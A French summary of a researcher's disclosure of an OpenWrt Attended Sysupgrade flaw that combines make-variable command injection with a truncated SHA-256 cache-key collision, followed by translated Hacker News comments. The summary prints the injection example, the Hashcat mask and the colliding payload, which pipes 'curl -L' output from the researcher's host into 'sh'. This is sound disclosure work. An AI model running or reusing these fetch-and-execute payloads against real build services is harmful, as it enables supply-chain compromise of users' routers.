2 points par GN⁺ 2024-12-10 | 1 commentaires | Partager sur WhatsApp
  • La fonctionnalité de mise à niveau web d’OpenWrt, Attended Sysupgrade, reposait sur une architecture où le firmware était généré par un serveur de build en ligne. En combinant une injection de commandes et une collision SHA-256 tronquée, il était possible qu’un artefact de build incorrect soit renvoyé pour une requête pourtant légitime
  • La valeur packages de la requête était transmise à la variable PACKAGES= de make manifest, et à cause du mécanisme d’expansion des variables de make, un attaquant pouvait exécuter des commandes arbitraires à l’intérieur du conteneur ImageBuilder
  • Le hash de la liste des paquets n’utilisait pas le SHA-256 complet, mais seulement les 12 premiers caractères, soit 48 bits, dans la clé de cache, ce qui permettait à des listes de paquets différentes de produire le même hash de requête
  • Le chercheur a obtenu une vitesse d’environ 18 milliards de hash par seconde avec une version modifiée de Hashcat et une RTX 4090, et a validé qu’un payload d’injection de commandes collisionné pouvait écraser les artefacts .bin produits par l’ImageBuilder
  • Après un signalement privé de la vulnérabilité, l’équipe OpenWrt a suspendu temporairement sysupgrade.openwrt.org et déployé une version corrigée en moins de 3 heures, sans pouvoir confirmer si la faille avait déjà été exploitée

Architecture de build de firmware en ligne d’Attended Sysupgrade

  • L’interface web LuCI d’OpenWrt inclut Attended Sysupgrade, une fonctionnalité qui construit un nouveau firmware via un service en ligne
  • Le service de build fonctionne sur sysupgrade.openwrt.org, et génère une nouvelle image de firmware lorsque l’utilisateur choisit l’appareil cible et les paquets souhaités
  • Lors d’une requête de mise à niveau, le système OpenWrt côté utilisateur envoie au serveur les informations suivantes
    • l’architecture cible
    • le profil de l’appareil
    • les paquets sélectionnés
  • Le serveur construit une image de firmware à partir de ces informations et la renvoie à l’appareil OpenWrt, qui flashe ensuite l’image reçue
  • Si un serveur qui construit des images à partir de paquets fournis par l’utilisateur n’est pas suffisamment isolé, il devient une surface d’attaque de chaîne d’approvisionnement, puisque le résultat du build est appliqué directement à l’appareil

Injection de commandes via la valeur PACKAGES

  • Le serveur sysupgrade.openwrt.org est un projet open source, dont le code source est disponible sur openwrt/asu
  • L’environnement de build s’exécute dans un conteneur créé via podman.containers.create, avec des paramètres comme cap_drop=["all"], no_new_privileges=True et privileged=False
  • La vulnérabilité se situait dans l’appel à make manifest
    • PROFILE={build_request.profile}
    • PACKAGES={' '.join(build_cmd_packages)}
    • STRIP_ABI=1
  • La cible manifest de l’ImageBuilder OpenWrt retransmet la valeur PACKAGES sous la forme USER_PACKAGES="$(PACKAGES)"
  • Comme make développe les variables avant d’exécuter la commande, même une valeur entourée d’apostrophes n’est pas traitée de manière sûre lorsqu’elle est contrôlée par l’utilisateur
    • Dans un Makefile d’exemple, exécuter make var="'; whoami #" lance aussi whoami, même à l’intérieur de echo '$(var)'
  • Comme le paramètre packages de la requête alimente la variable PACKAGES, un attaquant pouvait insérer des commandes dans une valeur ressemblant à un nom de paquet et exécuter du code arbitraire à l’intérieur du conteneur ImageBuilder
  • Même si le conteneur était isolé de l’hôte, les binaires générés étaient ensuite signés avec une clé privée, ce qui faisait de cette injection de commandes une vulnérabilité de chaîne d’approvisionnement

Clé de cache SHA-256 tronquée à 12 caractères

  • get_request_hash construit un hash de requête en concaténant plusieurs champs de la requête de build, et ce hash sert de clé de cache pour le build
  • La liste des paquets n’est pas insérée directement comme chaîne, mais via le résultat de get_packages_hash(build_request.packages), inclus dans le hash externe de la requête
  • get_packages_hash supprime les doublons de paquets, trie la liste, calcule le SHA-256 de la chaîne obtenue en les joignant par des espaces, puis ne renvoie que les 12 premiers caractères du résultat
  • Un préfixe de 12 caractères en SHA-256 représente 48 bits, soit un espace possible de 2^48 = 281,474,976,710,656 valeurs
  • Comme le hash externe de la requête inclut ce hash tronqué des paquets, il suffisait de provoquer une collision de hash sur les paquets pour que deux listes différentes partagent la même clé de cache
  • Le serveur pouvait alors renvoyer un artefact de build incorrect pour une autre requête de paquets

Recherche d’un payload collisionné avec Hashcat

  • Faute d’avoir trouvé un outil de force brute partielle pour SHA-256, le chercheur a d’abord écrit lui-même un programme OpenCL, mais il lui fallait 10 secondes pour calculer 100 millions de hash, soit une vitesse proche de celle du CPU
  • Il a ensuite modifié Hashcat pour qu’il affiche les hash dès que 8 caractères correspondaient, puis a vérifié les collisions sur 12 caractères à l’aide d’un petit script
  • La liste de paquets légitime a été récupérée depuis firmware-selector.openwrt.org, et son SHA-256 était 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb
    • ses 12 premiers caractères étaient 8f7018b33d94
    • le payload de l’attaquant devait donc partager le même préfixe de 12 caractères
  • Au départ, il a exécuté sur une RTX 4090 un masque de la forme `curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`, obtenant environ 500 millions de hash par seconde
  • ?l génère des lettres a-z, donc un espace de 10 caractères représente 26^10 = 141,167,095,653,376 possibilités, soit environ la moitié de 2^48
  • En allongeant le masque à 11 caractères et en déplaçant la zone variable au début de la commande, la vitesse a fortement augmenté
    • le motif final était `?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • avec ce motif, Hashcat calculait environ 18 milliards de hash par seconde
  • Une collision sur 12 caractères a été trouvée en moins d’une heure
    • `slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`
    • le SHA-256 de cette chaîne était 8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8, avec les mêmes 12 premiers caractères que la liste de paquets légitime

Retour d’un firmware incorrect en combinant les deux vulnérabilités

  • En envoyant le payload collisionné dans le paramètre packages, l’injection de commandes se déclenchait et un script était exécuté depuis tmp.ryotak.net
  • Le script de validation ajoutait du code à /builder/scripts/json_overview_image_info.py afin d’écraser les artefacts produits par l’ImageBuilder
    • il lisait la liste des fichiers de BIN_DIR
    • il cherchait les fichiers dont le nom se terminait par .bin et y écrivait "test"
  • À cause de la collision de hash, le serveur renvoyait ces artefacts modifiés à un utilisateur demandant la liste de paquets légitime
  • Exploitée de manière malveillante, cette méthode pouvait pousser l’utilisateur à effectuer une mise à niveau vers un firmware malveillant, menant à la compromission de l’appareil

Signalement et correctif

  • La vulnérabilité a été transmise à l’équipe OpenWrt via le signalement privé de vulnérabilité sur GitHub
  • Après confirmation du problème, l’équipe OpenWrt a temporairement suspendu le service sysupgrade.openwrt.org et lancé une enquête
  • Une version corrigée a été déployée en moins de 3 heures, puis le service a redémarré
  • Les deux problèmes ont été corrigés, mais comme la vulnérabilité existait depuis un certain temps, il restait impossible de savoir si quelqu’un l’avait déjà exploitée
  • L’équipe OpenWrt a diffusé une annonce pour aider les utilisateurs à vérifier et détecter une éventuelle compromission de leurs appareils

Conclusion

  • sysupgrade.openwrt.org pouvait être compromis en combinant une injection de commandes et une collision SHA-256 tronquée
  • Il s’agit d’un cas concret où une attaque par collision de hash réussie par force brute dans une application réelle a ouvert une voie d’attaque sur la chaîne d’approvisionnement
  • L’équipe OpenWrt a corrigé rapidement le problème et informé les utilisateurs, mais les services de build en ligne doivent traiter les clés de cache et la validation des entrées avec une extrême prudence

1 commentaires

 
GN⁺ 2024-12-10
Avis sur Hacker News
  • La vulnérabilité que l’article omet, c’est le fait que l’exécution de code adapté à un utilisateur ou à un appareil précis devient normalisée.
    Il n’y a aucune vérification de reproductibilité, et personne n’a de moyen de vérifier que ce service de builds et de téléchargements personnalisés n’a pas produit de builds contenant une porte dérobée.
    Il faudrait garantir l’utilisation de builds de xz-utils comme ceux qu’utilise Andres Freund, ou de builds que des chercheurs en sécurité pourront récupérer plus tard pour vérifier la présence d’implants de supply chain dans des logiciels open source[1].
    Il y avait autrefois un article décrivant la tentative abandonnée de Mozilla de consigner publiquement ses builds de release dans un arbre de Merkle[2]. Google a clarifié l’implémentation de la build du firmware des Pixel, mais les applications distribuées via le Google Play Store semblent vulnérables (sauf s’il existe d’autres journaux que je n’ai pas trouvés)[3]. Apple, avec le ciblage de builds par appareil individuel pour la distribution de firmwares et d’apps, sans transparence des builds, semble même pire que Google du point de vue de la transparence binaire.
    Un bon exemple est le dépôt ebuild de Gentoo. Il contient les sommes de contrôle des sources dans un unique dépôt Git/arbre de Merkle, ce qui pourrait en faire l’un des plus grands et des plus largement distribués arbres de Merkle du logiciel open source.
    [1] Après la porte dérobée dans xz-utils, certains chercheurs ont mené des scans automatiques/semi-automatiques pour repérer, dans les builds de logiciels open source, des fichiers à forte entropie inexpliquée susceptibles de contenir du code malveillant caché. Avec des builds personnalisés par utilisateur ou par appareil, ce travail est impossible à moins que tous les builds soient rendus publics pour analyse ultérieure, accompagnés d’un journal public (arbre de Merkle) de ces builds publics.
    [2] https://wiki.mozilla.org/Security/Binary_Transparency
    [3] https://developers.google.com/android/binary_transparency/ov...

    • C’est une bonne idée, et je la soutiens, mais il faut garder à l’esprit que la reproductibilité dépend du déterminisme.
      Beaucoup d’éléments qui entrent dans un pipeline de build sont intrinsèquement non déterministes, parce que les décisions prises au moment de la compilation peuvent varier d’une exécution à l’autre. Même en mettant de côté les problèmes de flags, c’est en pratique assez proche de l’objectif d’un compilateur optimisant. Comme l’ont constaté de nombreux projets de builds reproductibles, dès qu’on active l’optimisation, la reproductibilité n’est en fait plus garantie.
    • Pour Google Play : https://developer.android.com/guide/app-bundle/code-transpar...
      À ma connaissance, il n’existe pas de journal centralisé ; on laisse aux développeurs d’apps le soin de publier eux-mêmes leur clé ou le journal des fichiers de transparence.
    • Utiliser un tel service de build, c’est au départ comme dire : « je ne suis pas une cible suffisamment intéressante pour faire l’objet d’une attaque ciblée ».
    • Chercher par scan automatique/semi-automatique des fichiers à forte entropie inexpliquée susceptibles de contenir du code malveillant caché se contourne facilement. Il suffit de répartir l’entropie.
    • Je me souviens que l’équipe de transparence des certificats de Google avait en fait conçu une transparence des firmwares non seulement pour Android, mais pour tout Linux.
  • "".join n’est-il pas dangereux aussi ?
    Avec quelque chose comme get_str_hash("".join([build_request.distro, build_request.version, build_request.version_code, build_request.target, ..., on pourrait déplacer des caractères entre champs adjacents sans changer le hash.
    Même sans prendre directement le contrôle du système, cela pourrait provoquer un empoisonnement du cache avec une image cassée, ou induire un downgrade.

    • Oui. Pour les raisons décrites, il faut utiliser HMAC quand on hache plusieurs entrées.
      Correction : il faudrait dire hachage incrémental, pas HMAC.
  • Voilà pourquoi l’open source ne pourra jamais rivaliser avec le logiciel propriétaire d’entreprise :
    parce qu’ils ont corrigé le problème en 3 heures au lieu de faire attendre 6 mois pour un patch, qu’ils n’ont pas essayé de poursuivre en justice la personne qui l’a signalé, et qu’ils ne se sont pas contentés de proposer une petite remise pour jeter un appareil « obsolète » mais parfaitement fonctionnel et en acheter un nouveau.

    • Il vaudrait mieux rendre plus explicite que c’est sarcastique. L’anglais n’étant pas ma langue maternelle, au début j’ai lu « they » comme désignant « le logiciel propriétaire d’entreprise », et j’ai compris qu’OpenWRT était l’option dangereuse ayant commis toutes les choses listées.
    • C’est précisément pour ça que j’aime OpenWrt. Ils demandent même à des gens comme moi, qui utilisent un lecteur d’écran, de tester si l’interface web fonctionne correctement.
    • C’est vrai, mais OpenWRT semble avoir corrigé la troncature de hash sans avoir encore corrigé l’injection de commandes.
      J’espère qu’ils prévoient aussi de corriger l’injection de commandes. Comme l’indique l’article, les images générées sont signées. Même sans signature, il s’agit d’un problème d’exécution de code via des entrées utilisateur non fiables. Et les vulnérabilités peuvent se combiner, comme dans ce cas de collision de hash.
    • J’ai un routeur que je suis obligé d’utiliser à cause de mon FAI ; il a plusieurs CVE, allant de mauvais à vraiment graves, et la plupart datent de plusieurs années.
      Je peux en obtenir un remplacement, mais ce sera le même modèle. Le FAI ne se soucie absolument pas de la sécurité et ne publie pas de correctifs. Et pourtant il dispose d’un accès propriétaire au routeur, avec même une connexion distante possible ; c’est complètement absurde.
    • Cela n’est possible que pour une poignée de projets open source bénéficiant d’un soutien d’entreprises et des ressources nécessaires pour corriger vite.
      Dans la plupart des projets open source, les mainteneurs sont soit beaucoup trop surchargés, soit n’ont tout simplement pas envie de corriger les problèmes de sécurité.
  • D’abord, c’est un exemple d’outil qui n’était pas conçu à l’origine pour cet usage, mais qui était open source et écrit sans BuilderFactoryProvider, ce qui a permis de l’adapter à la tâche en peu de temps.
    Désolé de ressasser quelque chose qui a déjà été dit, mais chaque jour ça me pèse énormément.
    Si cela avait été une grande entreprise, il aurait probablement fallu -1 an pour corriger. Parce qu’ils se seraient contentés de poursuivre cette personne en justice et d’essayer de la faire arrêter au plus vite, sans jamais publier de patch.
    OpenWrt, après avoir reçu l’information, a coupé le service non sûr ; les utilisateurs étaient déjà en sécurité grâce à l’arrêt du service lorsqu’ils ont vérifié le signalement, puis ils ont créé un patch et l’ont déployé en 3 heures. Impressionnant.

  • Je me demande comment les gens en viennent à l’idée de tronquer des hachages. Quel est le but ou l’avantage ?

    • Une fonction de hachage tronquée n’est pas vulnérable aux attaques par extension de longueur. Cela dit, on utilise généralement SHA-512 et on le tronque à 256 bits. Selon les critères actuels, plus court que cela est difficile à considérer comme sûr
    • C’est parfois fait pour respecter des limites de longueur déjà présentes dans des outils ou des bases de données existants. Ou bien quand le hachage sert seulement d’identifiant d’emplacement, et non à vérifier l’intégrité
      Je ne pense pas que ce soit une bonne pratique, mais dans la réalité les gens font des compromis
    • D’après le commit, c’était pour réduire la longueur des noms de fichiers téléchargés et des URL
    • On l’utilise aussi quand on a besoin d’une charge utile plus petite
      D’après la réponse de @Reid en [2] et celle de @ThomasPornin en [3], l’idée de tronquer un hachage est pleinement prise en charge par le NIST. En pratique, SHA-224 est une version tronquée de SHA-256, et SHA-384 une version tronquée de SHA-512
      https://security.stackexchange.com/a/97389
    • On fait cela quand on passe de SHA-1 à SHA-256 tout en ne voulant pas changer le format de données utilisé pour les contrôles d’intégrité ou le stockage de clés
  • Très bon article. J’ai été un peu surpris qu’il ait fallu autant de calcul GPU pour trouver une collision aussi courte, mais c’était intéressant de voir l’implémentation
    À propos de la dernière section, 40 000 dollars pour un mois d’analyse de sécurité, est-ce un prix raisonnable ? Si oui, un bon chercheur en sécurité gagne-t-il environ 500 000 dollars par an ?

    • Cela veut dire qu’une bonne société de recherche en sécurité peut peut-être générer 500 000 dollars de chiffre d’affaires avec un excellent chercheur. À condition toutefois d’avoir assez de missions pour l’occuper à 100 %. En tenant compte des congés payés, c’est en réalité moins que cela
    • De mon point de vue, ça paraît assez raisonnable. Les sociétés de pentest avec lesquelles j’ai travaillé auparavant facturaient à peu près ce montant tout en lançant des scans nmap/metasploit paresseux, puis en emballant le tout dans un PDF convaincant
    • À l’ère post-LLM, une heure de calcul sur une 4090, ce n’est pas « tant que ça », c’est même plutôt « peu ». C’est faisable pour moins d’un dollar
    • 2^(12*4) signifie qu’il existe 281 474 976 710 656 chaînes possibles de 12 caractères ; pouvoir en parcourir autant en moins d’une heure est vraiment impressionnant
  • Qu’est-ce que ça veut dire que les performances de hashcat varient de plusieurs ordres de grandeur selon l’ordre des arguments ? Il scanne le motif cible dans la ligne d’arguments à chaque exécution ?

    • C’est peut-être comme crocheter une serrure : on commence par la gauche et on regarde si l’on peut continuer, ou bien on abandonne cette hypothèse. Dans ce cas, mettre les « choix » au début évite de devoir les regénérer à chaque fois. Peut-être que, pour une raison ou une autre, il ne met pas en cache les préfixes, ou ne peut pas le faire
      Ou alors c’est peut-être structuré comme lorsqu’on compte des nombres :
      100000000000
      010000000000
      110000000000
      001000000000
      la plupart des variations se produisent à gauche, tandis que les changements à droite n’apparaissent que rarement. Ce serait intéressant qu’une personne connaissant hashcat réponde. Moi, je ne fais que lancer des hypothèses
  • Le déroulé de l’attaque était très bien écrit et facile à suivre